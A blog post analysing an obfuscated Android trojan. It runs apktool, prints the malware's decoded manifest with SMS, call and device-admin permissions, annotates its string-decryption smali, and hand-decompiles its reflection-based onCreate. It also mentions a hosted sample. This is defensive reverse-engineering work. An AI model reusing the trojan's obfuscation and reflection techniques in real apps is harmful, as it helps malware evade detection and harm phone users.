Today i am going to write about my own analysis of “The Most Sophisticated Android Trojan which Kaspersky Labs blogged about here.
http://www.securelist.com/en/blog/8106/The_most_sophisticated_Android_Trojan
I’ve managed to grab a copy of the sample from Mila Parkour
I’ve placed a copy of the sample here and the pw to the archive is “infected“.
F7BE25E4F19A3A82D2E206DE8AC979C8
MD5: F7BE25E4F19A3A82D2E206DE8AC979C8
For this particular Android malware, if you simply use dex2jar+JD-GUI, you will realised that most of the methods can’t be decompiled.
Furthermore, i’ve realised that the method which it managed to decompiled looked slightly wrong too.
This is the method which i will discuss for now

Initial Analysis:
I will go through with my manual approach as well
Basically for a start, i would recommend you to use apktool first.
|
1 |
apktool.bat d <filename> |
You should see something like this after running the above command.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
C:\Users\Gunther\Desktop\apktool>apktool.bat d F7BE25E4F19A3A82D2E206DE8AC979C8 I: Baksmaling... I: Loading resource table... I: Loaded. I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: C:\Users\Jacob\apktool\framework\1.apk I: Loaded. I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Done. I: Copying assets and libs... C:\Users\Gunther\Desktop\apktool> |
Now let’s take a look at the AndroidManifest.xml file, you should see the the permissions requested by the APK file like here.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
<?xml version="1.0" encoding="utf-8"?> <manifest ="singleTop" android:versionCode="3" ="3.0" android:installLocation="internalOnly" package="com.android.system.admin" xmlns:android="http://schemas.android.com/apk/res/android"> <uses-permission ="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission ="android.permission.READ_LOGS" /> <uses-permission ="android.permission.WAKE_LOCK" /> <uses-permission ="android.permission.READ_PHONE_STATE" /> <uses-permission ="android.permission.PROCESS_OUTGOING_CALLS" /> <uses-permission ="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission ="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission ="android.permission.ACCESS_WIFI_STATE" /> <uses-permission ="android.permission.CHANGE_WIFI_STATE" /> <uses-permission ="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission ="android.permission.CHANGE_NETWORK_STATE" /> <uses-permission ="android.permission.MODIFY_PHONE_STATE" /> <uses-permission ="android.permission.WRITE_SECURE_SETTINGS" /> <uses-permission ="android.permission.WRITE_SETTINGS" /> <uses-permission ="android.permission.INTERNET" /> <uses-permission ="android.permission.BLUETOOTH" /> <uses-permission ="android.permission.BLUETOOTH_ADMIN" /> <uses-permission ="android.permission.ACCESS_BLUETOOTH_SHARE" /> <uses-permission ="android.permission.RECEIVE_SMS" /> <uses-permission ="android.permission.SEND_SMS" /> <uses-permission ="android.permission.READ_SMS" /> <uses-permission ="android.permission.WRITE_SMS" /> <uses-permission ="android.permission.READ_CONTACTS" /> <uses-permission ="android.permission.CALL_PHONE" /> <uses-permission ="android.permission.RAISED_THREAD_PRIORITY" /> <application =".OcooIclc"> <activity ="System" =".OclIIOlC"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity ="System" =".cOOCoCc" ="singleTop" /> <service =".AdminService" /> <receiver ="System" =".AdminReceiver" ="android.permission.BIND_DEVICE_ADMIN"> <meta-data ="android.app.device_admin" ="@xml/cocloo" /> <intent-filter> <action android:name="com.strain.admin.DEVICE_ADMIN_ENABLED" /> </intent-filter> </receiver> <service =".MainService" /> <receiver =".OlOClICl"> <intent-filter ="1000"> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.QUICKBOOT_POWERON" /> <action android:name="android.intent.action.USER_PRESENT" /> </intent-filter> </receiver> <receiver =".OooOOOo"> <intent-filter ="1000"> <action android:name="android.intent.action.TIME_SET" /> <action android:name="android.intent.action.TIMEZONE_CHANGED" /> <action android:name="android.intent.action.TIME_CHANGED" /> <action android:name="android.intent.action.DATE_CHANGED" /> </intent-filter> </receiver> <receiver =".CIcIoICo"> <intent-filter ="1000"> <action android:name="android.intent.action.PHONE_STATE" /> <action android:name="android.intent.action.NEW_OUTGOING_CALL" /> </intent-filter> </receiver> <receiver =".OOOOlIO"> <intent-filter ="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> <service =".CCOloCco" ="true"> <intent-filter ="1000"> <action android:name="com.android.ussd.IExtendedNetworkService" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </service> </application> </manifest> |
From the AndroidManifest.xml, we also know the following
1.) This malware have several “service” entries.
Furthermore, if we look up http://developer.android.com/guide/topics/manifest/intent-filter-element.html we can see that it indicates to have a high priority.
2.) There is an Activity entry and under the “intent” tag of this Activity entry. It indicates to start as the main entry point according to http://developer.android.com/reference/android/content/Intent.html#ACTION_MAIN
According to the official diagram from Android, we should be looking at “OnCreate” function first.

3.) Earlier on, i’ve written that there are several “Service” being started by this app. According to http://developer.android.com/reference/android/app/Service.html We should be looking at “OnCreate” or “StartService” in those class file(s).
This “Service” is running in the background even when the user is not directly interacting with the application.
Analysis of Dalvik Code:
Normally i would suggest looking at the “onCreate” function first. Iin order to have a better understanding of Dalvik byte code, it’s probably better to have either of the following 2 links:
http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html
http://source.android.com/tech/dalvik/dalvik-bytecode.html
Now before we go to “OnCreate“, earlier on i’ve mentioned that Dex2Jar screwed it up right.
According to the AndroidManifest.xml, the file with “android.intent.action.MAIN” intention is OclIIOlC. But let’s look at “cOIcOOo” method in this smali file, “OclIIOlC” first.
In order to understand better, it would be preferred to take a look at the original smali code and then this one which i have added with comments.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
.method private static cOIcOOo(III)Ljava/lang/String; // private static String cOIcOOo(Int paramInt1, Int paramInt2, Int paramInt3){ .locals 6 sget-object byteArray1, Lcom/android/system/admin/OclIIOlC;->cOIcOOo:[B // byte[] byteArray1 = OclIIOlC.cOIcOOo; add-int/lit8 p0, p0, 0x60 // paramInt1 = paramInt1+0x60 add-int/lit8 paramInt3, paramInt3, 0x21 // paramInt3 = paramInt3+0x21; const/4 k, 0x0 // int k = 0; new-instance v0, Ljava/lang/String; // String v0; new-array byteArray2, paramInt3, [B // byte[] byteArray2 = new byte[paramInt3]; if-nez byteArray1, :cond_0 // if( byteArray1==null ){ move v2, paramInt3 // v2 = paramInt3; // } move v3, paramInt2 // v3 = paramInt2; :goto_0 add-int/lit8 paramInt2, paramInt2, 0x1 // paramInt2 += 1; // or paramInt2++; add-int/2addr v2, v3 // v2 += v3; add-int/lit8 paramInt1, v2, -0x2 // paramInt1 = v2 + (-0x2); :cond_0 int-to-byte v2, paramInt1 aput-byte v2, byteArray2, k // Puts the byte value in v2 into an element of a byte array. The element is indexed by k, the array object is referenced by byteArray2. // byteArray2[k] = v2; add-int/lit8 k, k, 0x1 // k +=0x1; // or k++; if-lt k, paramInt3, :cond_1 // if( k>=paramInt3 ){ const/4 v2, 0x0 // v2 = 0x0; invoke-direct {v0, byteArray2, v2}, Ljava/lang/String;-><init>([BI)V return-object v0 // return new String(byteArray2, v2); :cond_1 move v2, paramInt1 // v2 = paramInt1; aget-byte v3, byteArray1, paramInt2 // Gets a byte value of a byte array into v3. The array is referenced by byteArray1 and is indexed by paramInt2. // v3 = byteArray1[paramInt2]; goto :goto_0 .end method } |
Now compare it with this snippet which i’ve attached here. This should be the way to reverse the Dalvik Opcode back to Java source code…i think.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
public static String cOIcOOo(int paramInt1, int paramInt2, int paramInt3){ byte[] byteArray1 = cOIcOOo; int iValue = paramInt1+96; int iIndex = paramInt3+33; int k = 0; int m = 0; int n = 0; byte[] byteArray2 = new byte[iIndex]; if( byteArray1==null ){ m = j; n = paramInt2; }else{ while(true){ byteArray2[k] = (byte)iValue; k++; if( k>=iIndex ){ //:cond_1 return new String(byteArray2, 0); }else{ m = iValue; n = byteArray1[paramInt2]; } paramInt2++; iValue = m + n - 2; } } return "0"; } |
Ok, i’ve also mentioned before on why AVs and some of the tools don’t work.
Most of the better Android malware nowadays uses Reflection API.
Reflection can allow a program to create a “function pointer” and invoke the target function by using it. You can see it’s common usage in ExploitKits or those Java exploits.
You will see it when you start reversing “OnCreate” function now.
This is the pseudo Java source code for “onCreate” which i have decompiled manually.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 |
protected void onCreate(Bundle bundle_arg){ super.onCreate(bundle_arg); String v1; Object[] v1; Class c0, c2, c4; Object p1; if( Class.forName(OclIIOlC.cOIcOOo(1,21,-17)).getField(OclIIOlC.cOIcOOo(-19,164,-28)).get(null).equals(new String (CIOIIolc.IoOoOIOI(CIOIIolc.cOIcOOo(IoOoOIOI.cOIcOOo(OclIIOlC.cOIcOOo(3,69,-29)), CIOIIolc.cOIcOOo(ocOlcICo.cOIcOOo(126,-16,-9).getBytes()))))) ){ System.exit(0); } Context c0 = OcooIclc.cOIcOOo; Class c3 = MainService.class; try{ v1 = new Object[2]; v1[1] = c3; v1[0] = c0; c0 = Class.forName(OclIIOlC.cOIcOOo(1,48,-11)); c2 = new Class[2]; c2[0] = Class.forName(OclIIOlC.cOIcOOo(1,11,-10)); Class v3; c2[1] = v3; p1 = c0.getDeclaredConstructor(c2).newInstance(v1); }catch{Throwable t1){ throw t1.getCause(); } try{ v1 = new Object[1]; v1[0] = Integer.valueOf(268435456); c0 = Class.forName(OclIIOlC.cOIcOOo(1,48,-11)); String v2 = OclIIOlC.cOIcOOo(1,72,-25); c4 = new Class[1]; c4[0] = Integer.TYPE; Object v0 = c0.getMethod(OclIIOlC.cOIcOOo(1,72,-25), c4).invoke(p1, v1); }catch{Throwable t1){ throw t1.getCause(); } Context con1 = OcooIclc.cOIcOOo; try{ Object v2 = new Object[1]; v2[0] = p1; Class v0 = Class.forName(OclIIOlC.cOIcOOo(1,11,-10)); String v3 = OclIIOlC.cOIcOOo(19,0,-21); Class v4 = new Class[1]; Class v5 = Class.forName(OclIIOlC.cOIcOOo(1,48,-11)); v4[0] = Class.forName(OclIIOlC.cOIcOOo(1,48,-11)); v0.getMethod(OclIIOlC.cOIcOOo(19,0,-21), v4).invoke(con1, v2); }catch{Throwable t1){ throw t1.getCause(); } con1 = this.getApplicationContext(); try{ Object v1 = Class.forName(OclIIOlC.cOIcOOo(1,11,-10)).getMethod(OclIIOlC.cOIcOOo(7,168,-16),null).invoke(con1,null); }catch{Throwable t1){ throw t1.getCause(); } ComponentName comName = this.getComponentName(); try{ Object[] v2 = new Object[3]; v2[2] = Integer.valueOf(1); v2[1] = Integer.valueOf(2); v2[0] = comName; Class v0 = Class.forName(OclIIOlC.cOIcOOo(1,79,0)); String v3 = OclIIOlC.cOIcOOo(19,111,-7); Class[] v4 = new Class[3]; Class v5 = Class.forName(OclIIOlC.cOIcOOo(1,136,-4)); v4[0] = Class.forName(OclIIOlC.cOIcOOo(1,136,-4)); v4[1] = Integer.TYPE; v4[2] = Integer.TYPE; v0.getMethod(OclIIOlC.cOIcOOo(19,111,-7),v4).invoke(this.getApplicationContext(), v2); }catch(Throwable v0_1){ throw v0_1.getCause(); } this.finish(); } |
We can see from the pseudo Java code that all external methods are called via Reflection.
Now if you go through each class, you will discover that each class had it’s own way of decrypting the strings but the general logic is quite similar.
Now that we have gone through the decrypting method and the onCreate method. The rest of the class files are not a problem.
I’ll update this blog post as i reverse it as it’s tiring to reverse it while changing diapers in between. xDDD
BR,
[ Gunther ]










